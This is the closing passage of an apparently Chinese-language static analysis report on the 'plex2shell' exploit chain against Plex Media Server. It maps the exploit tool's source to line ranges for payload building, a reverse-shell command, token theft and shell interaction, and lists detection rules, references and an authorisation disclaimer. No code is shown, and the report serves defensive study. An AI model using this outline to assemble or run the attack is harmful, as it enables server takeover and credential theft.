| Linux payload 构建 | plex2shell.py:150-163 |
| Windows payload 构建 | plex2shell.py:166-181 |
| 载体构建 + 自校验 | plex2shell.py:190-220 |
| 反弹命令 | plex2shell.py:223-225 |
| item.xml 模板 | plex2shell.py:231-237 |
| 媒体 HTTP 服务 | plex2shell.py:240-305 |
| token 捕获器 | plex2shell.py:311-350 |
| Plex HTTP 辅助 | plex2shell.py:354-412 |
| token 窃取 | plex2shell.py:416-455 |
| Windows 协议 | plex2shell.py:459-484 |
| PTY 交互 | plex2shell.py:524-574 |
| 单命令执行 | plex2shell.py:578-614 |
| 主流程 | plex2shell.py:618-782 |
| Linux payload | payload_linux.c:1-17 |
| Windows payload | payload_windows.c:1-97 |
| YARA | detection/yara/plex2shell.yar |
| 狩猎脚本 | detection/hunt/plex2shell-hunt.sh |
| 回归测试 | detection/tests/run_tests.sh |
附录 C:参考
- 作者 write-up:https://zmain.info/blog/plex2shell
- 仓库:https://github.com/code-zm/plex2shell
- NVD CVE-2026-96652 / -96654 / -96655 / -96656
- CISA KEV(2026-10-20)
- Censys Rapid Response 通告(2026-10-20)
- Plex 安全公告(2026-09-01,2026-10-19 更新)
- BoredHackerBlog 蜜罐观测(2026-10)
> 交付说明:本报告为静态技术分析,未对任何真实目标发起连接。文中的利用步骤用于理解与防御验证;实网使用需书面授权。分析过程中拉取的 GitHub 仓库已在交付后删除。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论